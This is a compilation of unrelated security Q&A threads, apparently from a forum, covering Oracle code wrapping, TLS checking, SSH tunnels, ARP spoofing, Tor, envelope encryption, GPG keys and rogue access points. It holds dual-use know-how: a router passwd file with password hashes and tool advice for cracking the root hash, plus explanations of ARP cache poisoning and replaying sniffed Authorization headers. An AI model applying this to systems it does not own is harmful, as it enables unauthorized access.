Is there a benefit in using Oracle's WRAP to obfuscate PL/SQL Code Oracle stored program units (procedures, functions, packages and types) can be obfuscated using the WRAP functionality.

Apart from the generic arguments about 'security through obscurity' are there any specific issues in using the wrapping functionality ?

There are unwrappers available for code wrapped with the Oracle 10g and 11g mechanism. These include both an online 'unwrapper' and the source code of an unwrapper written in Python.

As such, wrapping will do little to prevent someone with that level of access obtaining the source code.

Additional indicators of the nature of the code can be obtained using the *_DEPENDENCIES views, through an SQL trace or use of DBMS_TRACE.

The dependency views will show which tables and other objects might be called from the program, either directly or indirectly.
The SQL trace will show the SQLs executed as a result of a particular call to a procedure. This can include 'bind variables', for example showing the salt used in an encryption call.
The DBMS_TRACE is not usually installed, but when installed and enabled it can be used to track the path taken through the code, in terms of line numbers and procedure/function calls.

To protect code from being analysed, the first recourse should be to use packages. With procedures and functions, the entirety of the code is available to any database user who has been given permission to execute the program. With packages only the specification (program name and argument names/datatypes) are available and the actual code in the body is only visible to the owner of the program and those with high database privileges (normally DBAs).


Job Website Identity Verification I signed up for work at a Job Website so I can do some freelance web development. They have an option where you can verify you are a US citizen so you can apply for jobs that people asked for US workers only. They ask for one of the following:

Driver's License
State ID card
United States Passport

I don't have a state ID card, but I do have the other two. How safe is this?

As with any job application, you will be required to send documents for not only immigration compliance, but also for HR.

Legitimate reasons for requests include:

Proving compliance with immigration laws regarding who is able to work legally.
Record who works for the company, so that they can use/implement access control.
Be able to put someone's name down for tax purposes.
Setup personalized email/corporate directory information.

There is no website mentioned, so I will assume they use HTTPS for form uploads. Something that isn't mentioned, and can't really be discussed is the backend security.

We are not able to view how the backend database(s) and storage of images are implemented. For all we know, both could be on 1.44MB floppies.

On a more serious note, access controls on databases and not encrypting data at rest (images), are major points. If you have any major questions, review the privacy policy, and other policies that should be accessable on the website. If you can not find such information, I would attempt to speak with a human over a telephony device about any security concerns.

I discussed the privacy aspect in detail with another question of mine, but can't seem to find it. The point being, send low quality (JPEG level 5 or so), black-and-white, one sided images of documents if nothing is specified. This prevents the direct reuse of images as supporting documents in the physical realm.

I will however say it seems quite odd you have a driver's license but not a ID card issued by any state.

Unless there is incorrect understanding, a driver's license is a valid form of state ID. Perhaps I'm incorrect to assume, the driver's license is issued from one of the many states of the US.


Where can I find information about how to implement Intel embedded AES256 encryption? I heard this can really speed up encryption performance, but I can't find any good information about how to implement it.

The AES instruction set is supported by most modern compilers (gcc/g++ 4.4 or later, Visual Studio 2008 SP1 or later, Intel c/c++ compiler 11.1 or later).

For gcc, you'll have to use the -mtune with a supported CPU type, or the -maes switch.

It looks like the next generation Cryptography API for Windows (in Windows 7) supports AES-NI. So, if you are using the Crypto API in your code, that should automatically happen on supported machines.

Your other option is to use a precompiled library that has AES-NI support built in. Wikipedia has a list of libraries.


How can you check and analyze SSL ports other than 443? I tried

https://www.ssllabs.com/ssltest/analyze.html?d=imap.spamarrest.com%3A993&hideResults=on

but it said

  Ports other than 443 not supported

I need to check imap.spamarrest.com:993

2021-02-28 Update: GeoCerts and SSLPing
Two new entries on the list. They've been around for a while. Both of these can do ports other than 443:

https://www.geocerts.com/ssl-checker
https://sslping.com/ <= requires (free) account to check ports apart from 443

I prefer SSLPing for it's "just the essentials!" results interface.
ImmuniWeb (new service; formerly HTBridge)
https://www.immuniweb.com/ssl
Example: Report for imap.spamarrest.com:993

There are a few. But none even close to what SSL Labs does.
Here are two sample sites.

DigiCert SSL Tools (one gets redirected to this site from formerly mentioned https://ssltools.websecurity.symantec.com/checker/)
http://www.networking4all.com/en/support/tools/site+check/report/?fqdn=imap.spamarrest.com%3A993&protocol=https

Port 443 limit is by design
SSL Labs does this on purpose. I didn't know this. But here's the rationale. It's listed inside their Read This First document:

Commonly Requested Features

Checking of IP addresses without hostnames; SSL Labs is designed to test public web servers services. We define public as having a DNS record and running on the official port for the given service (e.g., 443 for HTTPS). We don't allow direct checking of IP addresses because we don't consider such services public.
Checking of web servers on non-standard ports; see the previous point.


Protecting against/detecting a specific Man in the Middle attack I'm working on a specific (hypothetical) situation, where I have two client machines attempting to perform a public key exchange, via a server. There's no possibility for a direct connection between the two clients, as the exchange is asynchronous.

The server cannot be completely trusted. As it is facilitating the key exchange, there is the possibility that it substitutes the client key with one it controls.

Is there any way this can be at-minimum detected by the receiving client, or better yet, actively protected against or worked around? Techniques such as the Diffie–Hellman key exchange don't seem to work here, as the channel is controlled by the entity we're trying to protect against (i.e. the server).

If that could be done, CAs wouldn't exist - their sole purpose is to provide a trusted 3rd party service that you can check against from both sides and determine if something fishy happened during the key exchange.

Apart from that your only option is to have both sides do human verification by generating a hard to guess string out of the exchanged keys - same as many 'secure' mobile IMs like Silent Circle does - and have the actual users verify each other over a hard to fake channel like an eye-to-eye contact or a voice call.

With enough users in the system you can try web-of-trust kind of a thing querying other users to check if they have the same key for the same user, but that could secure you only against MITMs without sufficient power to generate a large number of valid key pairs to intercept all checks so not really all that secure.


Opened SSH 22 port cause risks? I have an IP camera that has an HTTP panel through which I can watch live recording of the camera. I need to remotely watch my IP camera, but I don’t want to open port 80 on the router, for known security reasons. I want to connect through an SSH tunnel.

To create an SSH tunnel is necessary to open port 22 on the router? If yes, are there risks to opening port 22? Can hackers exploit?

For example HTTP Basic Auth is easily bypassable, is the same also for SSH Login, or this isn’t bypassable if you don’t know the username and password?

2- For example HTTP Basic Auth is easily bypassable, is the same also for SSH Login, or this isn’t bypassable if you don’t know user and password?

Not sure why you mean it's bypassable. It certainly doesn't need to be. Assuming you are using a secure layer like HTTPS (so credentials aren't sent in the clear), a good implementation could be secure. Devices like ip cameras often don't have good and secure implementations, though, so it's wise not to expose them directly.

In contrast, ssh servers are generally very well implemented, and thus are unlikely to have vulnerabilities like those often found in those IoT devices.

With no vulnerabilities, the only way to log in would be to know (or successfully guess!) the user and password. Note that with SSH, you could disable passwords and connect using a ssh key (that's akin to using a client certificate with HTTPS, although not something I have seen any ip camera to support).

  1- To create SSH tunnel is necessary to open port 22 on router in which is connected the camera?

You will need to open the port the user connects to. SSH is often placed on port 22, but you could choose to place it at any other port number if so you wish.

Please note that you need a ssh server to connect to. The camera probably doesn't include that, so you may need another computer that you will proxy through, or perhaps you want to connect through the router, which need to be secure itself.

  If yes, is there risks by opening port 22?

You are exposing a system that wasn't previously exposed on the internet. In case someone got access to the system providing the ssh service, they would get more than if they just got access to the ip camera.

  Can hackers exploit?

It will depend if the implementation used has vulnerabilities that could be exploited.


Doesn't an IP conflict occur when ARP spoofing? I am playing around with Ettercap and ARP spoofing attacks. I have noticed that the computers that are involved in my attack not are displaying any messages telling that an IP conflict has occured.

Isn't that the case when ARP spoofing? Then two (or more) computers will share the same IP. When does an IP conflict occur?

The computers I spoof are a Windows 7 and Ubuntu machines.

Get to the roots ! If you know what ARP does, things will be clearer.

On a subnet (machines plugged into the same set of hubs and switches), the machines talk to each other with MAC addresses: the MAC address uniquely identifies each ethernet/WiFi card. Machines, a priori, do not know MAC addresses; they just know IP addresses. So, when machine A wants to send a packet to machine B, it sends a broadcast frame following the ARP protocol; the packet says: "hey, does anybody knows the MAC address of B" ? If someone responds with the information ("B has MAC address xx:xx:xx:xx:xx:xx") then A will be able to send its data to B.

To speed up the process, A maintains a cache of known mappings IP-to-MAC, but is ready to remove entries from the cache when the information is not renewed (information renewal is when a packet comes to A, tagged with the IP address of B as source, and, at the ethernet level, uses the MAC address of B). The ARP cache entries must not be too long-lived because B is allowed to switch hardware (in case B's ethernet adapter fries and is replaced, the new adapter will have a distinct MAC address, but may assume the same IP address).

Other users of ARP are switches. Switch do not emit packets, but they observe a lot. The point of a switch, as opposed to a simpler hub, is to optimize things by sending packets only on relevant cables, instead of broadcasting all packets over the complete subnet. A switch "knows" that a given machine (i.e. a MAC address) lies at the other end of a specific link by observing traffic (i.e. the switch has noticed that all packets with that MAC address as source come from a given link). The switch maintains thus a mapping MAC->link in an internal table, which is confusingly (and inappropriately) also called an "ARP cache".

Spoofing is the term some people came up with to designate what is otherwise known as a forgery, when in the context of network security (for some reason, perfectly usable words from previous centuries never seem to be good enough for the technology-addict). ARP spoofing is about sending packets which are forged at the ARP level, i.e. packets which will deceive other systems as to the mappings involving ARP (i.e. the ARP caches that machines and switches maintain). The attacker may gain some advantages so doing; for instance, he may convince a switch to send him some packets which would otherwise have been sent to another machine on another link. This kind of attack is also know as "ARP cache poisoning" because it ultimately fills some ARP caches with wrong entries.

An IP conflict is when two machines, with distinct MAC addresses, want to assume the same IP. When an ARP request is sent ("what is the MAC address of B"), both machines will respond, with conflicting information. The requester (A) receives both answers and can warn about the problem: two concurrent mappings with one IP and two MAC addresses. ARP spoofing tries to do something different: two IP addresses (or two links) which map to one MAC address. The successful ARP attack is not really distinguishable from a machine which changed its IP address, something which, on a general basis, is normal (when machines get IP addresses dynamically with DHCP, their IP address may change from time to time), and thus triggers no special warning.


Is there anything wrong with using the same username for all api users with HTTP basic authentication? I'm creating a web api that queues messages and routes webhooks to individual sites. The transactional email service MailGun provides an api key to all users, which is used as the HTTP basic auth password. All accounts use api as the HTTP basic auth username. This results in api:SPECIFIC_API_TOKEN for all accounts.

Is this an acceptable practice, and is there a specific situation where the service I'm building could or shouldn't use this method of authentication?

It is used to facilitate the use of Basic Authentication functionality, Basic Auth requires you to send a username too (rfc2617):

  The "basic" authentication scheme is based on the model that the client must authenticate itself with a user-ID and a password for each realm.

In MailGun's case, they just use the API token to both identify the user (which is what a username normally does) as well as authenticate that user (password).

They could have used a custom header, but it's probably (or - arguably) easier to use basic authentication to be able to reuse existing functionality with legacy clients.


Downloading through Tor or not Tor? If I download a file through Tor, will it be any different than if I download a file through a normal internet browser? I've downloaded stuff through Tor but it's always really slow. I was wondering if I browse through Tor, but then download a file through a normal browser, will it practically be the same thing or completely different?

To be more specific, will it actually show my real IP address and my location if I download through Tor? If it does, then wouldn't downloading from a normal browser be the same?

There are a couple different answers to this depending on the circumstances...

Peer to peer downloads (like torrents or filesharing networks)

If you are talking about downloading data illegally (e.g. copyrighted data in many countries), you shouldn't be doing that in the first place. Be a man and download that movie over the normal internet. If you download lots of data this way, you are using up a lot of CPU and bandwidth from multiple servers around the world and basically clogging up the network. That, too, is something you shouldn't do because the network will cease to be possible if too many people do this.

If you need to download lots of data anonymously and you have a real purpose for being anonymous (e.g. you're a journalist writing a piece on child porn), be my guest and use those resources.
If you're someone wanting to play the latest games without paying, well, I think you know where this is going.

Downloads from websites

And you are NOT using https

When connecting over Tor to the open internet (any http:// or ftp:// address), Tor basically works as a proxy server. The website that you download from sends data, a few nodes in the Tor network forward it, and eventually it ends up with you. That is, if everything goes as it should.

What Tor also does is encrypt the traffic inside the Tor network. This means that any MITM attacks on your local network (for example an insecure WiFi network) are not possible. So this is an advantage for using Tor to download things.

On the other hand, you are willingly proxying your traffic through at least one other stranger on the internet that can modify the traffic as desired. That is also a risk to consider, so be sure to validate any checksums if available.

And of course like always, Tor also masks your IP address (and thereby the possibility to find your physical location), which works especially well when you are using the Tails OS or the Tor Browser Bundle.

If you are using https

The only added value of Tor in this case is that it will mask your IP address.

If you are visiting an .onion website and downloading from there

This works much the same as https, except that now it doesn't only mask your IP address, it also masks the server's IP address. Law enforcement and others basically can't monitor that anyone downloaded a file from that server at all. It makes the server anonymous as well as you.

Note that it may technically be possible to unmask people using Tor if someone really wants to spend millions (billions?) on it, but this is usually not the case. If this is a concern, read more about how Tor works, this answer is certainly not sufficient.


How do you find out if your PC is reverse shelled? I am just wondering, how do you find out is your PC is reverse shelled or not? Does your antivirus protect against it?

1.) Netstat -a: look for connections that are not familiar to you. If you are suspicious about one, do a dig and a whois lookup to see who they are.

2.) Check open ports on your machine and your router. Verify your port forwards if enabled. Hackers tend to use the same port especially if the tool was employed by a script kiddie.

3.) Run your AV of choice and do a deep scan.

4.) TronScript: This is a hell of a script that it open source and regarded to be very effective. It's updated frequently. This is the last thing you can do to get rid of any malware/issues before doing a full clean wipe and clean install of your OS of choice. TronScript has good logging and it will tell you directly what it is doing and when. Read more at the link I provided.


How can I identify this hash? I'm trying to decrypt my router's root password, since I only have access to a simple admin account that doesn't have root privileges. Here is the passwd file:

0:F.bCrWv/Oxp6.:0:0:root:/home:/bin/sh
nobody:x:99:99:Nobody:/:/sbin/nologin
derp:heooPbcMgdldo:0:0:ftp user:/mnt:/bin/sh

I only want the identification of the first hash only. The purpose I want root in my router for is to setup a TFTP server to upload a new filesystem to my router and the reflash it into the router. If you could also provide me a method so that I crack the hash after identifying it, that would be great.

Assuming that the vendors documentation hasn't turned up anything (which is where I'd start looking), you could use a tool like Hash Identifier to give you an idea of what this might be.  Once you've identified the algorithm then it's a question of finding a tool which supports cracking that.  Likely candidates are John or hashcat


Certificate SHA1 Thumbprint reported as a vulnerability So a few weeks ago I came across a security report that stated that the SHA1 thumbprint of the certificate was a vulnerability. The vulnerability was raised due to fact that the thumbprint used the SHA1 algorithm and this algorithm has structural flaws.
From what I understood, the thumbprint and signature are entirely unrelated, as the thumbprint is not actually a part of the certificate itself, thus there are no security issues. Further research into this topic, confirms my understanding and I believe that there is a misunderstanding by the writer of this report and the vulnerability itself is incorrect.
As a final measure I thought I would ask here to ensure I am not missing anything.
Is it a security concern if a certificate's thumbprint is calculated using the SHA1 algorithm?

Is it a security concern if a certificate's thumbprint is calculated using the SHA1 algorithm?

This depends on how the thumbprint is used later.
If the thumbprint is used in an application as the only way to verify a specific certificate then the signature on the certificate does not matter at all, because it is not verified. Instead in this case the security of the certificate is reduced to the security of the SHA-1 thumbprint and therefore weak.


Is apparmor default deny? Is apparmor default deny? For example consider the case under SELinux in enforcing mode, where I install a package with no policy associated with it. SELinux's default behaviour is to deny all syscalls that application makes. Does apparmor work the same way, or do you need to explicitly create the policy first and install it.

The FAQ (https://gitlab.com/apparmor/apparmor/wikis/FAQ) says apparmor is default deny if the system is deployed with a complete system policy. What constitutes a complete system policy? Does that mean every process has a corresponding policy?

Is there a way to tell all unconfined processes to be default deny?

It depends on how it's deployed. Usually you'll have to whitelist specific calls from your application, but at system level you can apply policies that only a subset of the system is confined.

As perfectly stated by Wiki's FAQ:

  Is AppArmor policy Default Deny (White listing)

  Yes, and no. AppArmor profiles are based on default deny, that is the
  rules list what is allowed and everything else is denied. AppArmor
  policy allows specifying rules to deny actions but these are
  convenience function to document known bad behaviors, or to specify
  actions that should never be allowed even if an rule allowing it was
  added to the profile.

  At a system level AppArmor can be consider either default deny or
  default allow depending on how it is deployed. If AppArmor is deployed
  with a complete system policy so that all tasks are confined then
  the deployment can be considered default deny. However AppArmor
  allows policy to be deployed incrementally so that only a subset
  of the system is actually confined, in this case AppArmor could be
  considered to be default allow at the system policy level but anything
  that is confined is confined by policy that is default deny.

  What is Default Deny (White listing)

  Default deny describes the default action applied to a request that
  is not listed in policy, in this case deny. Policy that is based on
  default deny provides a list of actions that are allowed (white list)
  and any thing not listed in policy is denied.

  Default deny is considered more secure than default allow because it
  only allows known good behavior.

source


Would there be a secure way to store an encryption key on server side for front-end decryption? I am currently working on a web application with sensitive data to store (personal medical data). The app is on the very first stages of conception and I am to quickly produce a beta version that would be used, while on a very narrowed scale, in production, with real people's data. Following a few month of beta testing and refining, the app will hit production on a larger scale.

My goal, once the beta is ended, is to hire a professional to review the security of the app, and performs some pentests. But unfortunately this is out of the way right now, for business and financial reasons. I'm primarily a web developer and even though I know more or less advanced basics in security, I am in no way a security professional, so the situation is far from ideal but I don't have any other options right now.
Even if those data are medical, they are not extremely sensitive, but I would like to secure them the best I can.

For the beta, the global project is as following :
My back end consists of a node.js server serving the static files to access the webapp on desktop, and of an api accessing and serving the data.
My front end will primarily be an android app on tablet.
The whole thing is setup on-premises on a local network with, in the worst case scenario, no access at all to external ressources, which prevents me of using any cloud-based key management system or anything alike.

I have one database for the customer, accessed by several users trough their tablets or desktops computers.

As the tablets may end up being offline and the whole database will be relatively small, the goal is to download the whole database on the tablet, and sync back every modified data later on. I would like that the most sensitive data stay most of the time encrypted on the tablet, and be decrypted only when necessary. If a modification is made, the data would then be encrypted back on the tablet, before sending it back to the server.

Currently what I'm planning to do is to have every sensitive data encrypted in database (with a key "K1"). To avoid storing both the encrypted data and the encryption key on the server, that key would be itself encrypted with a key "K2". That way, the encrypted K1 could be stored on the tablet (hardcoded in the app sources), while the other key would be stored on the server and sent to the tablet when necessary. The main goal being that an attacker gaining access to the server would not have access to both the encrypted data and the encryption key, and that if a tablet were to be stolen, the encryption key K1 would not be as easily divulged.

This solution in itself may still be weak, I'm working on it as much as I can, but it has anyway one major drawback : I can't have an hardcoded client-side key when accessing the webapp trough a browser, unless I have a specific desktop app installed (which I could have, but it would add a lot more complexity and time consuming tasks to the project).
Every solution I think of end-up with having both the encrypted data and the encryption key on the same server, which as far as I know is a major flaw that I would like to avoid.

So here is my question : would there be a - if not perfectly secure, at least not totally flawed - way to have this encryption key sent from the server to any web client, alongside the encrypted data ?
Or would there be a way to decrypt the data on the front-side, and still avoid the server to ever have access to the encryption key ?

Any comments on the solution I described would also be appreciated, especially if it is to tell me that it is absolutely terrible.
Thanks !

First of all: stop developing until you can really understand encryption, privacy, and the laws regarding medical data. If because of financial reasons you cannot have an expert to inspect and certify your solution, for financial reasons you should not develop it. The money spent on having a specialist helping you design and test is a few orders of magnitude less than the fines and image damage from an data leak event.

Second: don't store the entire database on the client. It won't scale, and you must design with scale on mind since day-0. If you design things that by design don't scale, that will bite you later. Hard.

If you want to continue this (for Science, or to learn), you will use Envelope Encryption (this IBM link have a nice explanation). It basically means that your client generates some data, encrypts it with a symmetric key, encrypts this key with his own key, and sends along the encrypted data plus encrypted key. The server stores the blob and does not have any knowledge of its contents.

When the client needs the data, it will receive the blob, extract the encrypted symmetric key, decrypts the key and uses it to decrypt the data.

How you create the user's secret key? You need a Key Derivation Function (KDF). The KDF will take the user's password, some other parameters, and generate a key. Every time you run the KDF with the same parameters, it will output the same key. It can be seen as a very specialized hash function: you always enter the same value, it always returns the same hash.

But what if the user wants to change his password? All data is lost? No, it's not. You must create an intermediary key, encrypt all DEKs with it, and encrypt this intermediary key with the user key. Store the encrypted intermediate key on the server. If the user wants to change its password, he will retrieve the encrypted intermediate key, decrypt it with his current key, change its password (and by consequence his secret key), re-encrypt the intermediate key with his new secret key, and store it back.

And what if the user forgets the key? Using Envelope Encryption, he is doomed. There's no way to recover it, unless you somehow store an unencrypted intermediate key (or encrypted by your own key), and break the entire security chain.

Yes, I know it's complicated. And my explanation was not the best, and there's a lot of possible gotchas on the implementation, but is a secure way. Read the Envelope Encryption implementation from IBM, from Google Cloud, from AWS, and so on.

And let your boss know that developing a secure service managing medical data without proper experience is asking for big trouble down the road.


SSL Certificate pinning with Self Signed Certificates I am trying to understand how Certificate Pinning works with Self Signed Certificates. My idea is that a Server with a Self Signed certificate will accept the connections only from the clients that have got the Server Certificate (Certificate Pinning).

I have generated the Server's private key & certificate files using the below command

 Server: openssl req -x509 -days 365 -newkey -sha512 rsa:4096 -keyout keyfile.key -out certfile.cert

And then I'm trying to accept a connection with this command

Server: openssl s_server -accept 5000 -key keyfile.key -cert certfile.cert
Client:openssl s_client -connect localhost:5000

The connection succeeds but looks like the Server is sending out its certificate during the Handshake which is not what I'm expecting so I have tried the below command

Server: openssl s_server -accept 50020 -key keyfile.key -cert certfile.cert -Verify 0
Client: openssl s_client -connect localhost:50020

Now the client is unable to connect and the server is giving this error:

 140736924775432:error:140890C7:SSL routines:ssl3_get_client_certificate:peer did not return a certificate:s3_srvr.c:3269:

I am not sure how to specify the Server certificate file from the Client side. I have copied the Server Certificate (certfile.cert) to the client and tried with the below command but this requires a private key as well.

Client: openssl s_client -connect localhost:50020 -cert certfile.cert

Am I getting confused with Server & Client certificates and is there a way for the Client to specify the Server certificate?

I think you've misunderstood how TLS and certificate pinning works. The client will not specify which certificate the server will return (apart from using SNI extension to set the expected hostname) but the server will return exactly the certificate which should be used by the client to identify the server. The client will check in your scenario of pinning with a self-signed certificate if the sent certificate matches the expected certificate.

Sending this certificate within a full handshake (i.e. not resumed) is not optional when certificate based authentication is used, i.e. there is no way to make the server not sending the certificate (but still proof the possession of the matching private key) because the client already knows it. For more details take a look at How does SSL/TLS work.


Could Someone Use a Stolen Cookie Session ID to Bypass Htaccess Login? I'm doing some pen testing for my place of employment. I was able to grab the session id from the browser cookies, but i still cannot get past the htaccess login. I initially thought that by setting the cookie with the stolen session id, the htaccess login would go away but it still asks for a login. Any ideas?

I'm not sure what you refer to with the phrase "Htaccess Login" but my guess is that you refer to enabling "Basic" HTTP Authentication within .htaccess, i.e. something like this:

AuthType Basic
AuthName "My Protected Area"
AuthUserFile /path/to/.htpasswd
Require valid-user

This kind of authentication does not use any cookies. Instead it sends the username and password within each request inside a request header:

Authorization: Basic <base64-encoded-username:password>

Since no cookies are involved in checking this kind of authentication no knowledge of cookies can be used to bypass this authentication. But someone successfully sniffing the traffic might just extract the Authorization header instead of the Cookie header and use this value to not bypass but to successfully pass the required authentication.


Is it possible to check if my cable modem is secure and safe? Are there any methods/tests to check if cable modem is secure, has no security holes (for example from trying to update firmware and not knowing what user is doing) and is properly working?

Speed and working seem to be completely okay, just asking to know if there are extra methods to see if everything is fine.

I'm in the process of trying to learn more about network security as until now I only paid attention to anti virus and firewalls inside of my computer.
I have no idea if modems could be compromised (giving malicious side ability to hack into computer, spy on user, control what they see or go to in Internet - like directing to malicious sites or stealing passwords) or not as they are kind of primitive boxes. :D

Obviously there is no way to completely check "if [your] cable modem is secure and safe?", because you most cannot look into the firmware and internals of the IC (integrated circuit, aka microchips), hence have no way of making sure agains hardware-based backdoors.

That being said, there are still actions you might be able to take to reduce the uncertainty about the "safety" of your device. It would for instance be possible to log the a certain amount of traffic transported/conveyed by your device and search that traffic for manipulations. Clearly this would most likely involve other devices, you already trust, being capable of such a logging activity.

Update
Provided the comment by dandavis, the principle procedure laid out in the preceeding paragraph seems (for a lack of available testing/logging device on the out-bout side ot the cable Modem) unpractical. Therefore, and with respect to the previously stated likewise impracticality to look directly into the Modems circuitry itself, one can say that *for all practical purposes it is at best very hard, *and mostly impossible to "check if [a] cable modem is secure and safe".

"safe"/"secure" are attributes, which of course comprise more than merely not malicously manipulating traffic, as for instance you would like to have the modem not disturbing the other parts of the system linked/attached to that hardware device, something I can sadly not advice you much to.

Besides there will be imho always a struggle with being certain that the device is "safe/secure", as for instance this is not a permanent attribute, but will change over time, I would recommend to tackle the problem by not assuming too much safety/security of that modem, and instead make sure that any harm it may cause is safeguarded against. i.e. use cryptography (tls/ssl, etc.) to protect any data being "touched" by that device.


Concerted attack on linked google accounts? Yesterday I received two (authentic) e-mails from Google saying they prevented sign-in attempts to two (very old) google accounts of mine. Google says they used the correct passwords, which turned out to be very old passwords that I had not changed, simply because I have not used these accounts in a very long time (more than 5 years).

This is the first thing that struck me as very odd. I had basically never used even used these accounts for anything. As far as I can remember, I may have signed up with them for an Apple ID, but let's move on.

The thing they did have in common for certain was the recovery e-mail.

Now, I wasn't going to ask a question about this here at first, because it's probably nothing that can be answered here.

However, today I was told by a relative that one of her (old and pretty much unused) Google accounts was also attacked with the correct password (around the same time yesterday). This account was likely setup by me for her and may be linked in one way or another to some of my Google accounts (either through exchange of communication or recovery email).

Neither of these accounts or passwords(!) is present on http://haveibeenpwned.com
Neither of these accounts has been used in a while and was never used much at all
All of these accounts appear linked

I am not asking you to speculate about what happened here in particular, but is there a reasonable explanation of how those accounts may have been compromised?

My most likely explanation would be that another (linked) account got compromised and these e-mail addressed where extracted from there?

Or should I consider my personal computers to be compromised as this sort of information could technically have been extracted from there?

I am usually a reasonable cautious person, using a password manager, etc. and I already changed all the passwords to these accounts, but is it also considered good practise in this case to rebuild my personal machines?

I am looking for advice here, because I can't wrap my head around how those specific (old and very rarely used) credentials could have gotten leaked.

A few things to note: the account and password lookup features on HaveIBeenPwned only represent found from public database leaks that have been cracked or were in plaintext.  It's still possible that your account was still breached but the breach never publicly surfaced.  Most websites don't delete inactive accounts, so a recent leak could have been responsible for your old accounts being compromised.
If I had to speculate, assuming it wasn't someone targeting you specifically, your account was probably part of a database leak. They took the credentials from the leak and began credential stuffing, eventually logging into your email account.

My most likely explanation would be that another (linked) account got compromised and these e-mail addressed where extracted from there?
Or should I consider my personal computers to be compromised as this sort of information could technically have been extracted from there?

I find these two scenarios less likely for a few key reasons:

If a linked account was compromised, they wouldn't immediately have access to your other account's password unless you had it saved somewhere.
If a linked account was compromised, you likely would have seen a login alert for that account as well.
Assuming your password wasn't saved in the linked account, they would likely need to use the "password recovery" feature to reset the password and gain access.  It sounds like you still have access to the account, so that doesn't seem to be the case.
If your personal computer was compromised, it wouldn't have been your 5-year old unused email accounts being breached.

... is it also considered good practice in this case to rebuild my personal machines?

If you want to rebuild your machines, that's up to you.  However, if you are going to factory reset your machines, make sure you do that first.  If your devices are compromised, changing your passwords before doing a reset won't fix the issue.
It may not seem related, but keeping regular backups makes factory resets easier to recover from, meaning less downtime from having an account breached.
Another thing you may want to consider is that all emails in your breached accounts may have been read.  Years ago, it wasn't uncommon for websites to send you your account passwords in plaintext when you signed up.  You may want to search for "password", "welcome", or "login" in your old emails to see what other accounts may have been compromised.


Is a modal payment over HTTPS secure if the main page is only HTTP? I recently tried to update my credit card information on a site that is served over HTTP.
Even after login the site stays on HTTP!

I noticed that Chrome would not let me use the saved credit cards for this reason.

Upon contacting the company they replied that the payment window itself is hosted by the payment provider, and served as a modal via HTTPS.

I just can't see how this is safe, because anyone could easily do a man-in-the-middle attack and replace the modal with their own form and retrieve the card information.

I then contacted the payment provider, but they too had no problem accepting HTTP referer and callback addresses to/from their payment page.
I came up empty when looking at the PCI compliance requirements, because they do not describe requirements for hosted solutions, as in this scenario.

EDIT:
I made this screen capture to add some clarity to the scenario:
Man-in-the-middle demonstration

The keys are logged on the login form and the "secure" credit card form is replaced by an image the second time it is loaded.

There is no "modal window" there is content which might be intended to contain an iframe pointing to a secure URL, but since it is invoked from insecure javascript and html it is vulnerable to modification. And as an iframe the user does not get to see all the meta data displayed in the browser chrome when you navigate to a secure URL.

Not only is this insecure it is visibly insecure.


Cookie stealing, what prevents a rogue wireless AP from stealing website cookies? If you set up a rogue AP with the same SSID as a commonly-known wireless access point, what prevents you from forging DNS queries answering with your own web server and stealing people's login credential cookies?

"Rouge" is a kind of lipstick. You mean a rogue access point.

There is nothing which prevents an evildoer from setting up an access point which mimics, from a outside, an access point that you would like to use. At least for any "open" access point. An attacker could find it somewhat more difficult to mimic an AP that requires authentication and does it properly (WPA2), such that your own computer is aware that authentication is expected and would complain loudly if it is not required by the AP. This also depends a lot on the exact kind of authentication. It is best to assume that rogue access points are always a possibility, and, indeed, ready-to-use hardware for that is available.

In reality, this is not different, qualitatively, from the Internet "in general". It should always be assumed that anything which goes over the Internet can be eavesdropped on and altered and rerouted; the WiFi part is just the first step in the journey over the wild Internet, and it is no more protected than all the others, despite tenacious beliefs to the contrary. (I think it comes from the authentication with a password; people think that "if there is a password then it is secure", without realizing that the password is not for their protection, but to limit access to the Internet access which is beyond the access point.)

The comprehensive solution against cookie stealing is HTTPS (aka "HTTP-within-SSL"). Even attackers who can redirect your requests to their own server cannot impersonate an https:// powered Web site (and steal the corresponding cookies), at least as long as:

the site does things properly (i.e., mostly, site-wide HTTPS, with no HTTP-only part, and cookies flagged as Secure and HttpOnly);
you take care to use HTTPS and not be directed to an HTTP-only clone of the site, in particular if the site requests a password entry;
you do not "click through" any warning about a bad certificate (and that's crucial for the whole thing).


How to properly export and re-import GPG secret key and all its subkeys? I have 2 YubiKeys and want one of them to be a backup. So let's say I generated a key $KEY in my computer with an encryption subkey. I need to export the secret keys, because when moving them to the card they disappear, and then reimport them.
So I export them with
gpg2 -a -o secmain.asc --export-secret-key --armor $KEY
gpg2 -a -o secsub.asc --export-secret-subkeys --armor $KEY

move them to the card, and then re-import them with:
gpg2 --import secmain.asc
gpg2 --import secsub.asc

I would expect this to work (as this is what was in the tutorial I read), but on the second import GPG tells me that the key was not changed, so I don't have my encryption key back. After searching a bit I found out about the --export-secret-keys option, which I assumed would export main and all sub keys in one package, but on import encryption subkey is still missing.
How can this be done?
EDIT
After further discussions, I tried to generate default keys and those I can correctly import/export. Then I the keys with my preferred settings manually and they also imported well. So it turns out this issue only occurs when I generate a key using this command:
gpg2 --batch --gen-key <<EOF
Key-Type: EdDSA
Key-Curve: ed25519
Key-Usage: sign
Subkey-Type: ECC
Subkey-Curve: Ed25519
Subkey-Usage: encrypt
Name-Real: My Name
Name-Comment: uname
Name-Email: my@email.tld
Expire-Date: 0
EOF

What gives? What's wrong here, and if it is, why isn't there a warning?

GPG tells me that the key was not changed

That is because the the secret subkeys should already be imported with the first command. You can verify with gpg --list-packets secmain.asc that the full key was exported.
The output generated by --export-secret-subkeys is superfluous (and will contain an unusable primary secret key).

on import encryption subkey is still missing

Check the output of gpg --list-secret-keys
EDIT

What's wrong here

I would suspect this:

Subkey-Curve: Ed25519

... being combined with this:

Subkey-Usage: encrypt

I'm not sure how gpg handles this internally, since there is no way to create an "ed25519" encryption key using interactive mode. If you instead use Subkey-Curve cv25519 the key should export and import without issue.


Will Adobe have to re-sign all their previous publications? Adobe recently published their PGP private key by accident. They have now issued a new one. But will they need to re-sign (with their new key) everything that was signed with their old key? As somebody could now sign malicious content with the old key and pretend it was published before the leak date?

It wasn’t their code-signing key that they compromised, it was the email key for their product security incident response email address. It’s embarrassing, but it doesn't affect the integrity of their code. In practice, that key is probably not used for nearly all the email that’s handled by that address, because PGP is only used by a tiny fraction of email users.


Supporting deep links in a web application without permitting session theft I have a question about "session-theft" and the supporting of "deep links" in a web application, and best practice.

